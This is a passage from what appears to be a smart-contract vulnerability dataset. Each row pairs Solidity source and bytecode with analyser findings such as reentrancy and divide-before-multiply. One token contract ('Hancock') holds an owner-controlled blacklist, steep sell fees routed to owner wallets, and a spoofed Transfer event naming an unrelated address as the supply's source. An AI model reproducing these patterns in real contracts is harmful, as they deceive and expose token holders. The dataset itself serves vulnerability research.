2019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207054ee8597783a377a7fc3db3a759e7e55545201dcbe92a54d64acf65eb1674964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,400 |
0x26a429730233f96ac34762a4b825699072772f9d
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/robonomics/Ambix.sol
/**
@dev Ambix contract is used for morph Token set to another
Token's by rule (recipe). In distillation process given
Token's are burned and result generated by emission.
The recipe presented as equation in form:
(N1 * A1 & N'1 * A'1 & N''1 * A''1 ...)
| (N2 * A2 & N'2 * A'2 & N''2 * A''2 ...) ...
| (Nn * An & N'n * A'n & N''n * A''n ...)
= M1 * B1 & M2 * B2 ... & Mm * Bm
where A, B - input and output tokens
N, M - token value coeficients
n, m - input / output dimetion size
| - is alternative operator (logical OR)
& - is associative operator (logical AND)
This says that `Ambix` should receive (approve) left
part of equation and send (transfer) right part.
*/
contract Ambix is Ownable {
address[][] public A;
uint256[][] public N;
address[] public B;
uint256[] public M;
/**
* @dev Append token recipe source alternative
* @param _a Token recipe source token addresses
* @param _n Token recipe source token counts
**/
function appendSource(
address[] _a,
uint256[] _n
) external onlyOwner {
require(_a.length == _n.length);
for (uint256 i = 0; i < _a.length; ++i)
require(_a[i] != 0);
A.push(_a);
N.push(_n);
}
/**
* @dev Set sink of token recipe
* @param _b Token recipe sink token list
* @param _m Token recipe sink token counts
*/
function setSink(
address[] _b,
uint256[] _m
) external onlyOwner{
require(_b.length == _m.length);
for (uint256 i = 0; i < _b.length; ++i)
require(_b[i] != 0);
B = _b;
M = _m;
}
/**
* @dev Run distillation process
* @param _ix Source alternative index
*/
function run(uint256 _ix) public {
require(_ix < A.length);
uint256 i;
if (N[_ix][0] > 0) {
// Static conversion
StandardBurnableToken token = StandardBurnableToken(A[_ix][0]);
// Token count multiplier
uint256 mux = token.allowance(msg.sender, this) / N[_ix][0];
require(mux > 0);
// Burning run
for (i = 0; i < A[_ix].length; ++i) {
token = StandardBurnableToken(A[_ix][i]);
require(token.transferFrom(msg.sender, this, mux * N[_ix][i]));
token.burn(mux * N[_ix][i]);
}
// Transfer up
for (i = 0; i < B.length; ++i) {
token = StandardBurnableToken(B[i]);
require(token.transfer(msg.sender, M[i] * mux));
}
} else {
// Dynamic conversion
// Let source token total supply is finite and decrease on each conversion,
// just convert finite supply of source to tokens on balance of ambix.
// dynamicRate = balance(sink) / total(source)
// Is available for single source and single sink only
require(A[_ix].length == 1 && B.length == 1);
StandardBurnableToken source = StandardBurnableToken(A[_ix][0]);
StandardBurnableToken sink = StandardBurnableToken(B[0]);
uint256 scale = 10 ** 18 * sink.balanceOf(this) / source.totalSupply();
uint256 allowance = source.allowance(msg.sender, this);
require(allowance > 0);
require(source.transferFrom(msg.sender, this, allowance));
source.burn(allowance);
uint256 reward = scale * allowance / 10 ** 18;
require(reward > 0);
require(sink.transfer(msg.sender, reward));
}
}
}
|
0x60806040526004361061007f5763ffffffff60e060020a6000350416634898722d811461008457806355c0a5f4146100b257806383f86eb2146100de5780638da5cb5b14610115578063a444f5e91461012a578063d6c8552914610142578063dac0eb071461016c578063f2fde38b14610184578063fdbacf5a146101a5575b600080fd5b34801561009057600080fd5b506100b060246004803582810192908201359181359182019101356101c0565b005b3480156100be57600080fd5b506100b0602460048035828101929082013591813591820191013561024d565b3480156100ea57600080fd5b506100f960043560243561033f565b60408051600160a060020a039092168252519081900360200190f35b34801561012157600080fd5b506100f9610380565b34801561013657600080fd5b506100b060043561038f565b34801561014e57600080fd5b5061015a600435610c04565b60408051918252519081900360200190f35b34801561017857600080fd5b506100f9600435610c23565b34801561019057600080fd5b506100b0600160a060020a0360043516610c4b565b3480156101b157600080fd5b5061015a600435602435610cdf565b60008054600160a060020a031633146101d857600080fd5b8382146101e457600080fd5b5060005b8381101561022c578484828181106101fc57fe5b90506020020135600160a060020a0316600160a060020a031660001415151561022457600080fd5b6001016101e8565b61023860038686610d19565b5061024560048484610d89565b505050505050565b60008054600160a060020a0316331461026557600080fd5b83821461027157600080fd5b5060005b838110156102b95784848281811061028957fe5b90506020020135600160a060020a0316600160a060020a03166000141515156102b157600080fd5b600101610275565b600180548082018083556000929092526102f6907fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018787610d19565b50506002805460018101808355600092909252610336907f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace018585610d89565b50505050505050565b600180548390811061034d57fe5b906000526020600020018181548110151561036457fe5b600091825260209091200154600160a060020a03169150829050565b600054600160a060020a031681565b600080600080600080600080600180549050891015156103ae57600080fd5b600060028a8154811015156103bf57fe5b9060005260206000200160008154811015156103d757fe5b906000526020600020015411156107e257600180548a9081106103f657fe5b90600052602060002001600081548110151561040e57fe5b60009182526020909120015460028054600160a060020a039092169850908a90811061043657fe5b90600052602060002001600081548110151561044e57fe5b6000918252602080832090910154604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815233600482015230602482015290519193600160a060020a038c169363dd62ed3e93604480850194929391928390030190829087803b1580156104c457600080fd5b505af11580156104d8573d6000803e3d6000fd5b505050506040513d60208110156104ee57600080fd5b50518115156104f957fe5b0495506000861161050957600080fd5b600097505b600180548a90811061051c57fe5b6000918252602090912001548810156106ec57600180548a90811061053d57fe5b906000526020600020018881548110151561055457fe5b60009182526020909120015460028054600160a060020a03909216985088916323b872dd9133913091908e90811061058857fe5b906000526020600020018c81548110151561059f57fe5b90600052602060002001548a026040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281526020019350505050602060405180830381600087803b15801561061757600080fd5b505af115801561062b573d6000803e3d6000fd5b505050506040513d602081101561064157600080fd5b5051151561064e57600080fd5b86600160a060020a03166342966c6860028b81548110151561066c57fe5b906000526020600020018a81548110151561068357fe5b906000526020600020015488026040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b1580156106c957600080fd5b505af11580156106dd573d6000803e3d6000fd5b5050505087600101975061050e565b600097505b6003548810156107dd57600380548990811061070957fe5b60009182526020909120015460048054600160a060020a039092169850889163a9059cbb9133918a91908d90811061073d57fe5b9060005260206000200154026040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b505050506040513d60208110156107c557600080fd5b505115156107d257600080fd5b8760010197506106f1565b610bf9565b600180548a9081106107f057fe5b600091825260209091200154600114801561080d57506003546001145b151561081857600080fd5b600180548a90811061082657fe5b90600052602060002001600081548110151561083e57fe5b600091825260208220015460038054600160a060020a0390921697509190811061086457fe5b9060005260206000200160009054906101000a9004600160a060020a0316935084600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156108c257600080fd5b505af11580156108d6573d6000803e3d6000fd5b505050506040513d60208110156108ec57600080fd5b5051604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038716916370a082319160248083019260209291908290030181600087803b15801561094f57600080fd5b505af1158015610963573d6000803e3d6000fd5b505050506040513d602081101561097957600080fd5b5051670de0b6b3a76400000281151561098e57fe5b604080517fdd62ed3e0000000000000000000000000000000000000000000000000000000081523360048201523060248201529051929091049450600160a060020a0387169163dd62ed3e916044808201926020929091908290030181600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d6020811015610a2657600080fd5b5051915060008211610a3757600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a038716916323b872dd9160648083019260209291908290030181600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d6020811015610acf57600080fd5b50511515610adc57600080fd5b84600160a060020a03166342966c68836040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b50670de0b6b3a76400009250505083830204905060008111610b5a57600080fd5b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051600160a060020a0386169163a9059cbb9160448083019260209291908290030181600087803b158015610bc257600080fd5b505af1158015610bd6573d6000803e3d6000fd5b505050506040513d6020811015610bec57600080fd5b50511515610bf957600080fd5b505050505050505050565b6004805482908110610c1257fe5b600091825260209091200154905081565b6003805482908110610c3157fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a03163314610c6257600080fd5b600160a060020a0381161515610c7757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6002805483908110610ced57fe5b9060005260206000200181815481101515610d0457fe5b90600052602060002001600091509150505481565b828054828255906000526020600020908101928215610d79579160200282015b82811115610d7957815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03843516178255602090920191600190910190610d39565b50610d85929150610dd0565b5090565b828054828255906000526020600020908101928215610dc4579160200282015b82811115610dc4578235825591602001919060010190610da9565b50610d85929150610e04565b610e0191905b80821115610d8557805473ffffffffffffffffffffffffffffffffffffffff19168155600101610dd6565b90565b610e0191905b80821115610d855760008155600101610e0a5600a165627a7a72305820955c1735a5b4945b47f13cf60c317cdf45e83c6a60b86c95d3f16ea5c18d0fe00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,401 |
0xa02944ddc645e0951b97cb743b0da62160cb7827
|
/**
*Submitted for verification
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
_ _ ____ _ _ ____ ____ ____ _ _
|__| |__| |\ | | | | | |_/
| | | | | \| |___ |__| |___ | \_
https://t.me/HancockToken
Website: www.hancock.co
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Hancock is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Hancock t.me/HancockToken";
string private constant _symbol = "Hancock";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
